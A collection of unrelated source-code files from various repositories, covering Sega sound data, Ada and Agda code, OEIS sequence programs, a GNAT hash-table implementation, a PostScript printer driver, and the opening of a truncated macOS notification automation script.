sk/sfx/41.asm | Cancer52/flamedriver | 9 | 241469 | <reponame>Cancer52/flamedriver
Sound_41_Header:
smpsHeaderStartSong 3
smpsHeaderVoice Sound_41_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cFM5, Sound_3E_3F_40_41_FM5, $0A, $00
Sound_41_Voices:
; Voice $00
; $36
; $07, $10, $0E, $0C, $1F, $1F, $1F, $1F, $00, $00, $00, $00
; $00, $0D, $0D, $0E, $0F, $0F, $0F, $0F, $17, $80, $80, $80
smpsVcAlgorithm $06
smpsVcFeedback $06
smpsVcUnusedBits $00
smpsVcDetune $00, $00, $01, $00
smpsVcCoarseFreq $0C, $0E, $00, $07
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $1F, $1F, $1F, $1F
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $00, $00, $00, $00
smpsVcDecayRate2 $0E, $0D, $0D, $00
smpsVcDecayLevel $00, $00, $00, $00
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $00, $00, $00, $17
|
src/spat-proof_attempt.ads | yannickmoy/spat | 0 | 288 | ------------------------------------------------------------------------------
-- Copyright (C) 2020 by Heisenbug Ltd. (<EMAIL>)
--
-- This work is free. You can redistribute it and/or modify it under the
-- terms of the Do What The Fuck You Want To Public License, Version 2,
-- as published by Sam Hocevar. See the LICENSE file for more details.
------------------------------------------------------------------------------
pragma License (Unrestricted);
------------------------------------------------------------------------------
--
-- SPARK Proof Analysis Tool
--
-- S.P.A.T. - Object representing a JSON "proof attempt" object.
--
------------------------------------------------------------------------------
private with Ada.Tags;
with SPAT.Entity;
with SPAT.Field_Names;
with SPAT.Preconditions;
package SPAT.Proof_Attempt is
use all type GNATCOLL.JSON.JSON_Value_Type;
---------------------------------------------------------------------------
-- Has_Required_Fields
---------------------------------------------------------------------------
function Has_Required_Fields (Object : JSON_Value) return Boolean is
(Preconditions.Ensure_Field (Object => Object,
Field => Field_Names.Result,
Kind => JSON_String_Type) and
Preconditions.Ensure_Field (Object => Object,
Field => Field_Names.Time,
Kinds_Allowed => Preconditions.Number_Kind));
type T is new Entity.T with private;
---------------------------------------------------------------------------
-- Create
---------------------------------------------------------------------------
not overriding
function Create (Object : JSON_Value;
Prover : Subject_Name) return T
with Pre => Has_Required_Fields (Object => Object);
Trivial_True : constant T;
-- Special Proof_Attempt instance that represents a trivially true proof.
--
-- Since GNAT_CE_2020 we can also have a "trivial_true" in the check_tree
-- which - unlike a proper proof attempt - has no Result nor Time value, so
-- we assume "Valid" and "no time" (i.e. 0.0 s). These kind of proof
-- attempts are registered to a special prover object "Trivial" (which
-- subsequently appears in the "stats" objects).
-- Sorting instantiations.
---------------------------------------------------------------------------
-- "<"
--
-- Comparison operator.
---------------------------------------------------------------------------
not overriding
function "<" (Left : in T;
Right : in T) return Boolean;
---------------------------------------------------------------------------
-- Prover
---------------------------------------------------------------------------
not overriding
function Prover (This : in T) return Subject_Name;
---------------------------------------------------------------------------
-- Result
---------------------------------------------------------------------------
not overriding
function Result (This : in T) return Subject_Name;
---------------------------------------------------------------------------
-- Time
---------------------------------------------------------------------------
not overriding
function Time (This : in T) return Duration;
private
type T is new Entity.T with
record
Prover : Subject_Name; -- Prover involved.
Result : Subject_Name; -- "Valid", "Unknown", etc.
Time : Duration; -- time spent during proof
-- Steps -- part of the JSON data, but we don't care.
end record;
---------------------------------------------------------------------------
-- Image
---------------------------------------------------------------------------
overriding
function Image (This : in T) return String is
(Ada.Tags.External_Tag (T'Class (This)'Tag) & ": (" &
"Prover => " & To_String (This.Prover) &
", Result => " & To_String (This.Result) &
", Time => " & This.Time'Image & ")");
Trivial_True : constant T := T'(Entity.T with
Prover => To_Name ("Trivial"),
Result => To_Name ("Valid"),
Time => 0.0);
---------------------------------------------------------------------------
-- Prover
---------------------------------------------------------------------------
not overriding
function Prover (This : in T) return Subject_Name is
(This.Prover);
---------------------------------------------------------------------------
-- Result
---------------------------------------------------------------------------
not overriding
function Result (This : in T) return Subject_Name is
(This.Result);
---------------------------------------------------------------------------
-- Time
---------------------------------------------------------------------------
not overriding
function Time (This : in T) return Duration is
(This.Time);
end SPAT.Proof_Attempt;
|
programs/oeis/250/A250806.asm | neoneye/loda | 22 | 4060 | ; A250806: Number of (n+1) X (2+1) 0..2 arrays with nondecreasing x(i,j)-x(i,j-1) in the i direction and nondecreasing min(x(i,j),x(i-1,j)) in the j direction.
; 100,379,1315,4321,13735,42769,131455,400681,1214695,3669409,11058895,33278041,100036855,300516049,902359135,2708699401,8129342215,24394514689,73196520175,219615512761,658898442775,1976799137329,5930605030015,17792230326121,53377521450535,160134225295969,480405997776655,1441224637107481,4323687198877495,12971088171742609,38913317665448095,116740059296784841,350220390491235655,1050661596675469249,3151985640429932335,9455958622096846201,28367879267904637015,85103644606942107889,255310947427282717375,765932869494760939561,2297798662910108393575,6893396097581976330529,20680188510449231291215,62040565966754298472921,186121698771076104617335,558365098054854732249169,1675095297647817033541855,5025285899909956774214281,15075857713662881669820295,45227573168854667703815809,135682719562296048500157295,407048158798352236277891641,1221144476617984890388514455,3663433430299811034275222449,10990300291791145829045025535,32970900877156862939573793001,98912702635037439723598811815,296738107912246020980551301089,890214323751005466561163634575,2670642971281551206922510366361,8011928913901723235245570024375,24035786741819308934692787923729,72107360225686205261990519472415,216322080677515172701795869819721,648966242033458631937036232264135,1946898726102202123474405942402369,5840696178310258825749812318427055,17522088534938081387902625937721081,52566265604828853985014255778043095,157698796814515781597655523263889009,473096390443605784078192081651186495
mov $1,10
mov $2,11
lpb $0
sub $0,1
mul $1,3
add $1,$2
mul $2,2
lpe
sub $1,8
mul $1,24
sub $1,48
div $1,24
mul $1,9
add $1,100
mov $0,$1
|
oeis/036/A036694.asm | neoneye/loda-programs | 11 | 85213 | ; A036694: a(n) = (1/4)*A036693(n) for n >= 1.
; Submitted by <NAME>(w4)
; 0,1,2,4,5,8,8,9,12,14,16,15,16,22,21,24,22,26,27,30,32,29,36,34,35,42,40,42,41,44,48,45,52,50,54,57,50,60,55,66,62,59,66,66,72,71,66,74,73,78,80,82,81,78,84,83,92,86,92,89,94,98,95,98,100,105,100,100,108,111,106,110,107,122,116,118,115,120,126,117,126,128,127,132,126,142,129,138,136,133,150,138,142,145,146,154,143,152,156,152
seq $0,36693 ; Number of Gaussian integers z = a + bi satisfying n-1 < |z| <= n.
div $0,4
|
programs/oeis/073/A073577.asm | karttu/loda | 1 | 19602 | <reponame>karttu/loda<gh_stars>1-10
; A073577: a(n) = 4*n^2 + 4*n - 1.
; 7,23,47,79,119,167,223,287,359,439,527,623,727,839,959,1087,1223,1367,1519,1679,1847,2023,2207,2399,2599,2807,3023,3247,3479,3719,3967,4223,4487,4759,5039,5327,5623,5927,6239,6559,6887,7223,7567,7919,8279,8647,9023,9407,9799,10199,10607,11023,11447,11879,12319,12767,13223,13687,14159,14639,15127,15623,16127,16639,17159,17687,18223,18767,19319,19879,20447,21023,21607,22199,22799,23407,24023,24647,25279,25919,26567,27223,27887,28559,29239,29927,30623,31327,32039,32759,33487,34223,34967,35719,36479,37247,38023,38807,39599,40399,41207,42023,42847,43679,44519,45367,46223,47087,47959,48839,49727,50623,51527,52439,53359,54287,55223,56167,57119,58079,59047,60023,61007,61999,62999,64007,65023,66047,67079,68119,69167,70223,71287,72359,73439,74527,75623,76727,77839,78959,80087,81223,82367,83519,84679,85847,87023,88207,89399,90599,91807,93023,94247,95479,96719,97967,99223,100487,101759,103039,104327,105623,106927,108239,109559,110887,112223,113567,114919,116279,117647,119023,120407,121799,123199,124607,126023,127447,128879,130319,131767,133223,134687,136159,137639,139127,140623,142127,143639,145159,146687,148223,149767,151319,152879,154447,156023,157607,159199,160799,162407,164023,165647,167279,168919,170567,172223,173887,175559,177239,178927,180623,182327,184039,185759,187487,189223,190967,192719,194479,196247,198023,199807,201599,203399,205207,207023,208847,210679,212519,214367,216223,218087,219959,221839,223727,225623,227527,229439,231359,233287,235223,237167,239119,241079,243047,245023,247007,248999,250999
mul $0,2
mov $1,$0
add $1,3
pow $1,2
sub $1,2
|
alloy4fun_models/trainstlt/models/1/JFZ3hBKSbEGnCB3rR.als | Kaixi26/org.alloytools.alloy | 0 | 577 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idJFZ3hBKSbEGnCB3rR_prop2 {
eventually Green = Signal
}
pred __repair { idJFZ3hBKSbEGnCB3rR_prop2 }
check __repair { idJFZ3hBKSbEGnCB3rR_prop2 <=> prop2o } |
llvm-gcc-4.2-2.9/gcc/ada/a-chtgop.adb | vidkidz/crossbridge | 1 | 22803 | <filename>llvm-gcc-4.2-2.9/gcc/ada/a-chtgop.adb
------------------------------------------------------------------------------
-- --
-- GNAT LIBRARY COMPONENTS --
-- --
-- A D A . C O N T A I N E R S . --
-- H A S H _ T A B L E S . G E N E R I C _ O P E R A T I O N S --
-- --
-- B o d y --
-- --
-- Copyright (C) 2004-2005, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- This unit was originally developed by <NAME>. --
------------------------------------------------------------------------------
-- This body needs commenting ???
with Ada.Containers.Prime_Numbers;
with Ada.Unchecked_Deallocation;
with System; use type System.Address;
package body Ada.Containers.Hash_Tables.Generic_Operations is
procedure Free is
new Ada.Unchecked_Deallocation (Buckets_Type, Buckets_Access);
------------
-- Adjust --
------------
procedure Adjust (HT : in out Hash_Table_Type) is
Src_Buckets : constant Buckets_Access := HT.Buckets;
N : constant Count_Type := HT.Length;
Src_Node : Node_Access;
Dst_Prev : Node_Access;
begin
HT.Buckets := null;
HT.Length := 0;
if N = 0 then
return;
end if;
HT.Buckets := new Buckets_Type (Src_Buckets'Range);
-- TODO: allocate minimum size req'd. (See note below.)
-- NOTE: see note below about these comments.
-- Probably we have to duplicate the Size (Src), too, in order
-- to guarantee that
-- Dst := Src;
-- Dst = Src is true
-- The only quirk is that we depend on the hash value of a dst key
-- to be the same as the src key from which it was copied.
-- If we relax the requirement that the hash value must be the
-- same, then of course we can't guarantee that following
-- assignment that Dst = Src is true ???
--
-- NOTE: 17 Apr 2005
-- What I said above is no longer true. The semantics of (map) equality
-- changed, such that we use key in the left map to look up the
-- equivalent key in the right map, and then compare the elements (using
-- normal equality) of the equivalent keys. So it doesn't matter that
-- the maps have different capacities (i.e. the hash tables have
-- different lengths), since we just look up the key, irrespective of
-- its map's hash table length. All the RM says we're required to do
-- it arrange for the target map to "=" the source map following an
-- assignment (that is, following an Adjust), so it doesn't matter
-- what the capacity of the target map is. What I'll probably do is
-- allocate a new hash table that has the minimum size necessary,
-- instead of allocating a new hash table whose size exactly matches
-- that of the source. (See the assignment that immediately precedes
-- these comments.) What we really need is a special Assign operation
-- (not unlike what we have already for Vector) that allows the user to
-- choose the capacity of the target.
-- END NOTE.
for Src_Index in Src_Buckets'Range loop
Src_Node := Src_Buckets (Src_Index);
if Src_Node /= null then
declare
Dst_Node : constant Node_Access := Copy_Node (Src_Node);
-- See note above
pragma Assert (Index (HT, Dst_Node) = Src_Index);
begin
HT.Buckets (Src_Index) := Dst_Node;
HT.Length := HT.Length + 1;
Dst_Prev := Dst_Node;
end;
Src_Node := Next (Src_Node);
while Src_Node /= null loop
declare
Dst_Node : constant Node_Access := Copy_Node (Src_Node);
-- See note above
pragma Assert (Index (HT, Dst_Node) = Src_Index);
begin
Set_Next (Node => Dst_Prev, Next => Dst_Node);
HT.Length := HT.Length + 1;
Dst_Prev := Dst_Node;
end;
Src_Node := Next (Src_Node);
end loop;
end if;
end loop;
pragma Assert (HT.Length = N);
end Adjust;
--------------
-- Capacity --
--------------
function Capacity (HT : Hash_Table_Type) return Count_Type is
begin
if HT.Buckets = null then
return 0;
end if;
return HT.Buckets'Length;
end Capacity;
-----------
-- Clear --
-----------
procedure Clear (HT : in out Hash_Table_Type) is
Index : Hash_Type := 0;
Node : Node_Access;
begin
if HT.Busy > 0 then
raise Program_Error;
end if;
while HT.Length > 0 loop
while HT.Buckets (Index) = null loop
Index := Index + 1;
end loop;
declare
Bucket : Node_Access renames HT.Buckets (Index);
begin
loop
Node := Bucket;
Bucket := Next (Bucket);
HT.Length := HT.Length - 1;
Free (Node);
exit when Bucket = null;
end loop;
end;
end loop;
end Clear;
---------------------------
-- Delete_Node_Sans_Free --
---------------------------
procedure Delete_Node_Sans_Free
(HT : in out Hash_Table_Type;
X : Node_Access)
is
pragma Assert (X /= null);
Indx : Hash_Type;
Prev : Node_Access;
Curr : Node_Access;
begin
if HT.Length = 0 then
raise Program_Error;
end if;
Indx := Index (HT, X);
Prev := HT.Buckets (Indx);
if Prev = null then
raise Program_Error;
end if;
if Prev = X then
HT.Buckets (Indx) := Next (Prev);
HT.Length := HT.Length - 1;
return;
end if;
if HT.Length = 1 then
raise Program_Error;
end if;
loop
Curr := Next (Prev);
if Curr = null then
raise Program_Error;
end if;
if Curr = X then
Set_Next (Node => Prev, Next => Next (Curr));
HT.Length := HT.Length - 1;
return;
end if;
Prev := Curr;
end loop;
end Delete_Node_Sans_Free;
--------------
-- Finalize --
--------------
procedure Finalize (HT : in out Hash_Table_Type) is
begin
Clear (HT);
Free (HT.Buckets);
end Finalize;
-----------
-- First --
-----------
function First (HT : Hash_Table_Type) return Node_Access is
Indx : Hash_Type;
begin
if HT.Length = 0 then
return null;
end if;
Indx := HT.Buckets'First;
loop
if HT.Buckets (Indx) /= null then
return HT.Buckets (Indx);
end if;
Indx := Indx + 1;
end loop;
end First;
---------------------
-- Free_Hash_Table --
---------------------
procedure Free_Hash_Table (Buckets : in out Buckets_Access) is
Node : Node_Access;
begin
if Buckets = null then
return;
end if;
for J in Buckets'Range loop
while Buckets (J) /= null loop
Node := Buckets (J);
Buckets (J) := Next (Node);
Free (Node);
end loop;
end loop;
Free (Buckets);
end Free_Hash_Table;
-------------------
-- Generic_Equal --
-------------------
function Generic_Equal
(L, R : Hash_Table_Type) return Boolean is
L_Index : Hash_Type;
L_Node : Node_Access;
N : Count_Type;
begin
if L'Address = R'Address then
return True;
end if;
if L.Length /= R.Length then
return False;
end if;
if L.Length = 0 then
return True;
end if;
L_Index := 0;
loop
L_Node := L.Buckets (L_Index);
exit when L_Node /= null;
L_Index := L_Index + 1;
end loop;
N := L.Length;
loop
if not Find (HT => R, Key => L_Node) then
return False;
end if;
N := N - 1;
L_Node := Next (L_Node);
if L_Node = null then
if N = 0 then
return True;
end if;
loop
L_Index := L_Index + 1;
L_Node := L.Buckets (L_Index);
exit when L_Node /= null;
end loop;
end if;
end loop;
end Generic_Equal;
-----------------------
-- Generic_Iteration --
-----------------------
procedure Generic_Iteration (HT : Hash_Table_Type) is
Busy : Natural renames HT'Unrestricted_Access.all.Busy;
begin
if HT.Length = 0 then
return;
end if;
Busy := Busy + 1;
declare
Node : Node_Access;
begin
for Indx in HT.Buckets'Range loop
Node := HT.Buckets (Indx);
while Node /= null loop
Process (Node);
Node := Next (Node);
end loop;
end loop;
exception
when others =>
Busy := Busy - 1;
raise;
end;
Busy := Busy - 1;
end Generic_Iteration;
------------------
-- Generic_Read --
------------------
procedure Generic_Read
(Stream : access Root_Stream_Type'Class;
HT : out Hash_Table_Type)
is
X, Y : Node_Access;
Last, I : Hash_Type;
N, M : Count_Type'Base;
begin
Clear (HT);
Hash_Type'Read (Stream, Last);
Count_Type'Base'Read (Stream, N);
pragma Assert (N >= 0);
if N = 0 then
return;
end if;
if HT.Buckets = null
or else HT.Buckets'Last /= Last
then
Free (HT.Buckets);
HT.Buckets := new Buckets_Type (0 .. Last);
end if;
-- TODO: should we rewrite this algorithm so that it doesn't
-- depend on preserving the exactly length of the hash table
-- array? We would prefer to not have to (re)allocate a
-- buckets array (the array that HT already has might be large
-- enough), and to not have to stream the count of the number
-- of nodes in each bucket. The algorithm below is vestigial,
-- as it was written prior to the meeting in Palma, when the
-- semantics of equality were changed (and which obviated the
-- need to preserve the hash table length).
loop
Hash_Type'Read (Stream, I);
pragma Assert (I in HT.Buckets'Range);
pragma Assert (HT.Buckets (I) = null);
Count_Type'Base'Read (Stream, M);
pragma Assert (M >= 1);
pragma Assert (M <= N);
HT.Buckets (I) := New_Node (Stream);
pragma Assert (HT.Buckets (I) /= null);
pragma Assert (Next (HT.Buckets (I)) = null);
Y := HT.Buckets (I);
HT.Length := HT.Length + 1;
for J in Count_Type range 2 .. M loop
X := New_Node (Stream);
pragma Assert (X /= null);
pragma Assert (Next (X) = null);
Set_Next (Node => Y, Next => X);
Y := X;
HT.Length := HT.Length + 1;
end loop;
N := N - M;
exit when N = 0;
end loop;
end Generic_Read;
-------------------
-- Generic_Write --
-------------------
procedure Generic_Write
(Stream : access Root_Stream_Type'Class;
HT : Hash_Table_Type)
is
M : Count_Type'Base;
X : Node_Access;
begin
if HT.Buckets = null then
Hash_Type'Write (Stream, 0);
else
Hash_Type'Write (Stream, HT.Buckets'Last);
end if;
Count_Type'Base'Write (Stream, HT.Length);
if HT.Length = 0 then
return;
end if;
-- TODO: see note in Generic_Read???
for Indx in HT.Buckets'Range loop
X := HT.Buckets (Indx);
if X /= null then
M := 1;
loop
X := Next (X);
exit when X = null;
M := M + 1;
end loop;
Hash_Type'Write (Stream, Indx);
Count_Type'Base'Write (Stream, M);
X := HT.Buckets (Indx);
for J in Count_Type range 1 .. M loop
Write (Stream, X);
X := Next (X);
end loop;
pragma Assert (X = null);
end if;
end loop;
end Generic_Write;
-----------
-- Index --
-----------
function Index
(Buckets : Buckets_Type;
Node : Node_Access) return Hash_Type is
begin
return Hash_Node (Node) mod Buckets'Length;
end Index;
function Index
(Hash_Table : Hash_Table_Type;
Node : Node_Access) return Hash_Type is
begin
return Index (Hash_Table.Buckets.all, Node);
end Index;
----------
-- Move --
----------
procedure Move (Target, Source : in out Hash_Table_Type) is
begin
if Target'Address = Source'Address then
return;
end if;
if Source.Busy > 0 then
raise Program_Error;
end if;
Clear (Target);
declare
Buckets : constant Buckets_Access := Target.Buckets;
begin
Target.Buckets := Source.Buckets;
Source.Buckets := Buckets;
end;
Target.Length := Source.Length;
Source.Length := 0;
end Move;
----------
-- Next --
----------
function Next
(HT : Hash_Table_Type;
Node : Node_Access) return Node_Access
is
Result : Node_Access := Next (Node);
begin
if Result /= null then
return Result;
end if;
for Indx in Index (HT, Node) + 1 .. HT.Buckets'Last loop
Result := HT.Buckets (Indx);
if Result /= null then
return Result;
end if;
end loop;
return null;
end Next;
----------------------
-- Reserve_Capacity --
----------------------
procedure Reserve_Capacity
(HT : in out Hash_Table_Type;
N : Count_Type)
is
NN : Hash_Type;
begin
if HT.Buckets = null then
if N > 0 then
NN := Prime_Numbers.To_Prime (N);
HT.Buckets := new Buckets_Type (0 .. NN - 1);
end if;
return;
end if;
if HT.Length = 0 then
if N = 0 then
Free (HT.Buckets);
return;
end if;
if N = HT.Buckets'Length then
return;
end if;
NN := Prime_Numbers.To_Prime (N);
if NN = HT.Buckets'Length then
return;
end if;
declare
X : Buckets_Access := HT.Buckets;
begin
HT.Buckets := new Buckets_Type (0 .. NN - 1);
Free (X);
end;
return;
end if;
if N = HT.Buckets'Length then
return;
end if;
if N < HT.Buckets'Length then
if HT.Length >= HT.Buckets'Length then
return;
end if;
NN := Prime_Numbers.To_Prime (HT.Length);
if NN >= HT.Buckets'Length then
return;
end if;
else
NN := Prime_Numbers.To_Prime (Count_Type'Max (N, HT.Length));
if NN = HT.Buckets'Length then -- can't expand any more
return;
end if;
end if;
if HT.Busy > 0 then
raise Program_Error;
end if;
Rehash : declare
Dst_Buckets : Buckets_Access := new Buckets_Type (0 .. NN - 1);
Src_Buckets : Buckets_Access := HT.Buckets;
L : Count_Type renames HT.Length;
LL : constant Count_Type := L;
Src_Index : Hash_Type := Src_Buckets'First;
begin
while L > 0 loop
declare
Src_Bucket : Node_Access renames Src_Buckets (Src_Index);
begin
while Src_Bucket /= null loop
declare
Src_Node : constant Node_Access := Src_Bucket;
Dst_Index : constant Hash_Type :=
Index (Dst_Buckets.all, Src_Node);
Dst_Bucket : Node_Access renames Dst_Buckets (Dst_Index);
begin
Src_Bucket := Next (Src_Node);
Set_Next (Src_Node, Dst_Bucket);
Dst_Bucket := Src_Node;
end;
pragma Assert (L > 0);
L := L - 1;
end loop;
exception
when others =>
-- If there's an error computing a hash value during a
-- rehash, then AI-302 says the nodes "become lost." The
-- issue is whether to actually deallocate these lost nodes,
-- since they might be designated by extant cursors. Here
-- we decide to deallocate the nodes, since it's better to
-- solve real problems (storage consumption) rather than
-- imaginary ones (the user might, or might not, dereference
-- a cursor designating a node that has been deallocated),
-- and because we have a way to vet a dangling cursor
-- reference anyway, and hence can actually detect the
-- problem.
for Dst_Index in Dst_Buckets'Range loop
declare
B : Node_Access renames Dst_Buckets (Dst_Index);
X : Node_Access;
begin
while B /= null loop
X := B;
B := Next (X);
Free (X);
end loop;
end;
end loop;
Free (Dst_Buckets);
raise Program_Error;
end;
Src_Index := Src_Index + 1;
end loop;
HT.Buckets := Dst_Buckets;
HT.Length := LL;
Free (Src_Buckets);
end Rehash;
end Reserve_Capacity;
end Ada.Containers.Hash_Tables.Generic_Operations;
|
programs/oeis/132/A132477.asm | jmorken/loda | 1 | 104227 | <filename>programs/oeis/132/A132477.asm
; A132477: Row sums of triangle A132476.
; 1,4,12,24,48,96,192,384,768,1536,3072,6144,12288,24576,49152,98304,196608,393216,786432,1572864,3145728,6291456,12582912,25165824,50331648,100663296,201326592,402653184,805306368,1610612736,3221225472,6442450944,12884901888
mov $1,3
mov $2,2
trn $2,$0
sub $1,$2
lpb $0
sub $0,1
mul $1,2
lpe
|
src/dialog_box.asm | I8087/libm | 13 | 27263 | <filename>src/dialog_box.asm<gh_stars>10-100
global _dialog_box
_dialog_box:
push bp
mov bp, sp
mov ax, word [bp+4]
mov bx, word [bp+6]
mov cx, word [bp+8]
movzx dx, byte [bp+10]
call os_dialog_box
pop bp
ret |
Driver/Printer/PScript/pscriptPage.asm | steakknife/pcgeos | 504 | 242330 | <reponame>steakknife/pcgeos<gh_stars>100-1000
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: PostScript printer driver
FILE: pscriptPage.asm
AUTHOR: <NAME>
ROUTINES:
Name Description
---- -----------
PrintStartPage initialize the page-related variables, called once/page
by EXTERNAL at start of page.
PrintEndPage Tidy up the page-related variables, called once/page
by EXTERNAL at end of page.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 5/90 initial version
DESCRIPTION:
$Id: pscriptPage.asm,v 1.1 97/04/18 11:56:10 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrintStartPage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize the page
CALLED BY: GLOBAL
PASS: bp - PSTATE segment address.
RETURN: ax - return value from EPSExportBeginPage
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
basically, just call the EPSExportBeginPage function, which
will do most of what we need
KNOWN BUGS/SIDE EFFECTS/IDEAS:
nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 3/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
PrintStartPage proc far
uses bx, ds, dx, di
.enter
; just call the translation library
mov ds, bp ; ds -> PState
clr ds:[PS_cursorPos].P_x
clr ds:[PS_cursorPos].P_y
mov dx, ds:[PS_expansionInfo] ; option block handle
push ds
mov bx, dx
call MemLock
mov ds, ax
mov di, ds:[GEO_hFile] ; grab file handle
call MemUnlock
pop ds
mov bx, ds:[PS_epsLibrary] ; get lib handle
mov ax, TR_EXPORT_BEGIN_PAGE
call CallEPSLibrary ; start page stuff
.leave
ret
PrintStartPage endp
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrintEndPage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize the page
CALLED BY: GLOBAL
PASS: bp - PSTATE segment address.
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
nothing
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 3/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
PrintEndPage proc far
uses ax, bx, cx, dx, si, di, es,ds
.enter
; just call the translation library
mov ds, bp
push ds
mov dx, ds:[PS_expansionInfo] ; option block handle
mov bx, dx
call MemLock
mov ds, ax
mov di, ds:[GEO_hFile] ; grab file handle
call MemUnlock
pop ds ; restore PState
mov bx, ds:[PS_epsLibrary]
mov ax, TR_EXPORT_END_PAGE
call CallEPSLibrary ; start page stuff
clc
.leave
ret
PrintEndPage endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CopyCurrentFileToPrinter
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy what we've done so far to the printer
CALLED BY: INTERNAL
PrintEndPage, PrintEndJob
PASS: bx - file handle
ds - PState
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 2/25/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if 0
CopyCurrentFileToPrinter proc near
uses ax,bx,cx,dx,si,di,es,ds
scratchBuffer local 128 dup (char)
.enter
; if not going to a file, then send down the current page
mov al, FILE_POS_RELATIVE ; figure out where we
clr cx ; are...
clr dx
call FilePos ; get current pos
mov cx, dx ; truncate file there
mov dx, ax
mov al, FILE_NO_ERRORS
call FileTruncate
mov al, FILE_POS_START ; reposition at start
clr cx
clr dx
call FilePos
; copy pieces to the scratch buffer til we're done with the file
segmov es, ds, si ; es -> PState
segmov ds, ss, si
lea si, scratchBuffer ; ds:si -> buffer (writes)
mov dx, si ; ds:dx -> buffer (reads)
mov cx, length scratchBuffer
; keep read/writing until we're finished with the file
copyLoop:
clr al ; errors please
call FileRead
jc handleReadError ; probably end of file
call PrintStreamWrite ; copy data to port
jc resetFile ; if some error, quit
jmp copyLoop ; else continue
; some error happened on the read. If its a short read (end
; of file), then we're happy.
handleReadError:
cmp ax, ERROR_SHORT_READ_WRITE
jne resetFile ; oops, a REAL error...
call PrintStreamWrite ; last few bytes
; now we need to set the file pos back to the beginning
resetFile:
mov al, FILE_POS_START ; reposition at start
clr cx
clr dx
call FilePos
.leave
ret
CopyCurrentFileToPrinter endp
endif
|
archive/agda-2/Oscar/AgdaPatternSyntaxTrick.agda | m0davis/oscar | 0 | 880 |
module Oscar.AgdaPatternSyntaxTrick where
record ⊤ : Set where
constructor tt
data List (A : Set) : Set where
∅ : List A
_∷_ : A → List A → List A
Nat = List ⊤
pattern ‼ xs = tt ∷ xs
syntax ‼ xs = ! xs
data Fin : Nat → Set where
∅ : ∀ {n} → Fin (! n)
! : ∀ {n} → Fin n → Fin (! n)
test : Fin (! (! ∅)) -- OOPS
test = ! ∅
-- record ⊤ : Set where
-- constructor tt
-- data List (A : Set) : Set where
-- ∅ : List A
-- _∷_ : A → List A → List A
-- Nat = List ⊤
-- pattern ‼ xs = tt ∷ xs
-- data Fin : Nat → Set where
-- ∅ : ∀ {n} → Fin (‼ n) -- BOO!
-- ! : ∀ {n} → Fin n → Fin (‼ n)
|
QuickReply.applescript | not-that-scott/quickreply | 1 | 3573 | <gh_stars>1-10
// JavaScript
bannerPresence = Application("System Events")
.processes["Notification Center"]
.windows()[0];
if ('undefined' !== typeof bannerPresence) {
ObjC.import("CoreGraphics");
// Get current mouse location and store it
// so we can return when we are done.
dummyMouseEvent = $.CGEventCreate(null);
loc = $.CGEventGetLocation(dummyMouseEvent);
// Hide the cursor for aesthetic purposes.
$.CGDisplayHideCursor(0);
$.CGAssociateMouseAndMouseCursorPosition(false);
// (from http://apple.stackexchange.com/a/180331)
// Notification only detects hover when moving in
